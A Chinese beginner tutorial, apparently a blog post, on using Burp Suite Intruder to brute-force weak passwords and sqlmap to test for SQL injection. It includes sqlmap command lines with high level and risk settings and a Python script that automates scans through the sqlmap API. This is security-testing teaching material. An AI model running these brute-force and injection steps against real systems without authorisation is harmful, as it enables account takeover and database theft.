Burp suite和Sqlmap入门
-
弱口令爆破
-
应用场景
系统密码包含大量弱口令,诸如12345、abc、账号密码相同,攻击者就可以利用该漏洞获取较高权限账号
-
爆破工具
Burp Suite,常用功能抓包(Proxy)、重放(Repeater)、爆破(Intruder)
-
常用功能介绍
Prox
Repeater
手动点击Go一键发送请求的组件
Intruder
本次重点介绍Intruder组件,Intruder组件拥有4个模块,分别是Target、Positions、Payloads、Options
Target
Target模块,主要用于配置被爆破网站的主机与端口,默认为http方式,可以勾选Use HTTPS发送https的请求
Position
首先,该页面展示被爆破的请求,包含请求类型、请求地址、请求头、请求参数。
其次,Attack type为爆破策略,一共提供了4种,包含:
Sniper模式,采用单个payload进行爆破。这种爆破类型适合对请求内的参数进行单独爆破
Battering ram模式,也是采用单个payload进行爆破。但是与Sniper不同的是,当有多个需要爆破的参数时,Sniper模式会对每个参数执行一遍payload;Battering ram模式则是多个参数一起执行一遍payload。举个栗子,现有账户密码两个参数需要爆破,已选一个0-9的payload,Sniper模式先对账号执行一次payload,再对密码执行一次payload,一共20次;Battering ram模式对账号密码一起执行一次payload,一共10次;
PitchFork模式:只能选一个payload,所有参数皆执行该payload,如有参数a、b、c,执行次数为a.payload X b.payload X c.payload
Add、Clear、Auto、Refresh操作参数
-
-
Sqlmap注入
-
所需环境
python2.7,sqlmap.py
-
测试所需资源
- 测试接口
- 相关参数
-
单次检测
- Get
[sqlmap.py](http://sqlmap.py/) -u “[http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html”](http://www.aaaa.com/xxxxx/gorepay-projectID_10-repayPlanID_46-periodNumber_2.html%E2%80%9D) --cookie=“_fmdata=0E97D79D747B983006FB09DAD60A349E7C023A44A3532E46E3AFB9936C4D45DB80647EFE905132167DAE9081F89D13AA86DADEDF8E69E484;”
-
Post
使用Burp suite拦截数据包,保存在文件里,使用-r读取文件
sqlmap.py -r "D://file_location"
-
可选参数
- –dbs:获取数据库的所有库
- –is-dba:判断当前用户是否为数据库管理员
- –level:注入策略的等级,最高为5,越高覆盖面越广,耗时越长
- –risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
示例:
sqlmap.py -r C:\Users\47992\Desktop\1678.txt --dbs --is-dba --level 5 --risk 3
结果如图:
没注入点的运行结果
![无注入点](https://img-blog.csdnimg.cn/df70edc50a8e469ea66584fd02ce1b14.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxNTg3MDE3,size_16,color_FFFFFF,t_70) 有注入点 ![有注入点](https://img-blog.csdnimg.cn/531e259f494b48d689378fc6f3c1f77d.png)
-
批量执行
-
方案一:sqlmap api
大致流程:
1️⃣ 通过 sqlmapapi.py -s 开启sqlmap api的服务端。服务端启动后,在服务端命令行中会返回一个随机的admin token值,这个token值用于管理taskid(获取、清空操作),在这个流程中不需要amin token这个值,可以忽略。服务端会处于一个等待客户端的状态。
2️⃣ 通过GET请求 http://ip:port/task/new 这个地址,即可创建一个新的扫描任务,在响应中会返回一个随机的taskid。这个taskid在这个流程中尤为重要,因此需要通过变量存储下来,方便后面程序的调用。
3️⃣ 通过POST请求 http://ip:port/scan//start 地址,并通过json格式提交参数(待扫描的HTTP数据包、若存在注入是否获取当前数据库用户名),即可开启一个扫描任务,该请求会返回一个enginedid。
4️⃣ 通过GET请求 http://ip:port/scan//status 地址,即可获取指定的taskid的扫描状态。这个返回值分为两种,一种是run状态(扫描未完成),一种是terminated状态(扫描完成)。
5️⃣ 判断扫描状态,如果扫描未完成,再次请求 http://ip:port/scan//status 地址 ,直到扫描完成。
6️⃣ 扫描完成后获取扫描的结果,是否是SQL注入,若不存在SQL注入,data字段为空,若存在SQL注入,则会返回数据库类型、payload等等
import json import requests import time from urllib import parse response = requests.get("http://127.0.0.1:8775/task/new") print(response.json()) taskid = response.json()["taskid"] url = 'http://192.168.1.49:7100/api/auth/token' headers = { "Content-Type": "application/json"} option = { "randomAgent": True, "level": 3, "tech": "BT"} username = "15108439740" password = "123" data = { "digest": "64a62d49999fb141855f51ed3d58b5d0", "userNo": "20032016", "oid": "15CF2B0253E200A00270000000A2F105"} parse_data = parse.urlencode(data) print("转换后的data" + parse_data) payload = { "url": url, "data": parse_data} res = requests.post(url="http://127.0.0.1:8775/option/%s/set" % taskid, data=json.dumps(option), headers=headers) print(res.json()) res1 = requests.post(url="http://127.0.0.1:8775/scan/%s/start" % taskid, data=json.dumps(payload), headers=headers) print(res1.json()) while 1: res3 = requests.get(url="http://127.0.0.1:8775/scan/%s/status" % taskid) print(res3.json()) if res3.json()["status"] != 'terminated': pass else: res2 = requests.get(url="http://127.0.0.1:8775/scan/%s/data" % taskid) print(res2.json()) log = requests.get(url="http://127.0.0.1:8775/scan/%s/log" % taskid) print(log.json()) res4 = requests.get(url="http://127.0.0.1:8775/task/%s/delete" % taskid) break time.sleep(5)
-
方案二:Burp Suite + SqlMap
1️⃣ 涉及大批量业务操作,可以用Burp Suite设置好代理,浏览器上点点点,然后进入Proxy的HTTP history,筛选请求,保存到文件,然后提取数据包,执行sqlmap注入测试
【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入
2️⃣ 少量目标请求(可通过前端发送),可在Options中设置记录Proxy或Repeater的log,最后直接执行:
sqlmap -l log.txt --batch -smart
-
-